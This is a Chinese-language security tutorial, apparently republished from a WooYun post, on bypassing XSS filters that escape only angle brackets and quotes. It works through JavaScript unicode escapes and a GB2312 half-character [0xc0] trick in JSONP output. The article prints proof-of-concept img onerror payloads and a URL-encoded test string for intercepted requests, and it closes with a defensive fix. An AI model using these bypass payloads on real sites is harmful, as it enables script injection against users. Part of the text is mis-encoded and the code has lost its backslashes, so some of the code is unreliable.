大家都知道,普遍的防御XSS攻擊的方法是在后臺(tái)對(duì)以下字符進(jìn)行轉(zhuǎn)義:<、>、’、”,但是經(jīng)過本人的研究發(fā)現(xiàn),在一些特殊場(chǎng)景下,即使對(duì)以上字符進(jìn)行了轉(zhuǎn)義,還是可以執(zhí)行XSS攻擊的。
首先看一個(gè)JS的例子:
1 2 3 4 | <script> var s = "u003cu003e"; alert(s); </script> |
看到這么熟悉的尖括號(hào),大家會(huì)不會(huì)有一些興奮的感覺呢?JS代碼中并沒有出現(xiàn)尖括號(hào),可是運(yùn)行時(shí)卻輸出了尖括號(hào)?。?!這意味著:可以通過u003c和u003e來代替<和>??墒窃撊绾卫眠@個(gè)特性來構(gòu)造XSS攻擊呢?繼續(xù)看一個(gè)例子:
1 2 3 4 5 6 7 | <div id='s'> test </div> <script> var s = "u003cimg src=1 onerror=alert(/xss/)u003e"; document.getElementById('s').innerHTML = s; </script> |
運(yùn)行上面代碼,結(jié)果顯示如下:
在沒有尖括號(hào)的情況下,成功實(shí)現(xiàn)了一個(gè)彈框的案例。
現(xiàn)在來設(shè)想一個(gè)更貼近實(shí)際開發(fā)情況的例子:
(1)這里我們用網(wǎng)絡(luò)安全攻防研究室網(wǎng)站首頁進(jìn)行演示:http://www.91ri.org/ main.html,其代碼為:
1 2 3 4 5 6 7 8 9 10 | <div id="test"> aa </div> <script> function callback(obj) { document.getElementById("test").innerHTML = obj.name; } </script> <script src=" http://www.victim.com/getcontent"></script> |
(2)http://www.victim.com/getcontent返回的內(nèi)容格式如下:
1 | callback({"name":"xx"}); |
其中name的值是用戶的昵稱。
這個(gè)例子簡單模擬了異步拉取信息并進(jìn)行顯示的情況。
現(xiàn)在假設(shè)用戶的昵稱為:
1 | u003cimg src=1 onerror=alert(/xss/)u003e |
那么會(huì)是什么情況呢?
首先getcontent返回的昵稱應(yīng)該是這樣的:
1 | \u003cimg src=1 onerror=alert(/xss/)\u003e |
因?yàn)楹笈_(tái)輸出JSON格式數(shù)據(jù)時(shí),一般都會(huì)在前面添加轉(zhuǎn)義符進(jìn)行轉(zhuǎn)義。
接著main.html的callback函數(shù)應(yīng)該是等價(jià)于執(zhí)行下面的語句:
1 | document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e"; |
顯示的結(jié)果如下:
很遺憾,沒有彈出框。原因是原來的轉(zhuǎn)義序列u003c并沒有生效,被添加的轉(zhuǎn)義符轉(zhuǎn)義掉了。
不過這里假設(shè)返回昵稱時(shí)對(duì)進(jìn)行了轉(zhuǎn)義,但實(shí)際情況下,有時(shí)輸出json格式數(shù)據(jù)時(shí)是沒有對(duì)進(jìn)行轉(zhuǎn)義的,那樣就會(huì)觸發(fā)漏洞。
對(duì)于有對(duì)進(jìn)行轉(zhuǎn)義的,這時(shí)就輪到我們強(qiáng)大的半字符出場(chǎng)了。對(duì)于半字符的問題,這里并不打算詳細(xì)講,說下結(jié)論:
對(duì)于gb2312編碼,” [0xc0] “是一個(gè)合法的編碼,顯示為:”繺”。
對(duì)于UTF-8編碼,在IE6下,上述組合也是一個(gè)合法的編碼。
其中[0xc0]表示一個(gè)十六進(jìn)制的值。
現(xiàn)在修改昵稱為:
1 | [0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e |
getcontent輸出:
1 | callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"}); |
由于半字符[0xc0]的存在,在解釋上述JS代碼時(shí),等價(jià)于:
1 | callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"}); |
可見,轉(zhuǎn)義序列u003c終于又回來了,顯示結(jié)果如下:
上述昵稱中并沒有出現(xiàn)單雙引號(hào),尖括號(hào),所以如果后臺(tái)只是對(duì)單雙引號(hào)和尖括號(hào)進(jìn)行轉(zhuǎn)義,那么是可以被繞過防御的。
總結(jié):
(1) 利用場(chǎng)景:輸出內(nèi)容在JS代碼里,并且被動(dòng)態(tài)顯示出來(如使用innerHTML)。
(2) 測(cè)試方法:截獲請(qǐng)求包,修改參數(shù)為:
1 | %c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e |
(3) 防御方法:后臺(tái)對(duì)半字符,反斜杠,單雙引號(hào),尖括號(hào)進(jìn)行處理。
編輯點(diǎn)評(píng):關(guān)于xss繞過的方式有很多,不少程序員以及小黑都認(rèn)為過濾了<、>、’、”,就真的安全的,實(shí)際來說,只要針對(duì)這些字符進(jìn)行一定的轉(zhuǎn)義,就能成功繞過!
這只是其中一種更多的可以參考本站本文《XSS攻擊匯總》
原文連接:http://zone.wooyun.org/content/1253
責(zé)任編輯:梧桐雨
聯(lián)系客服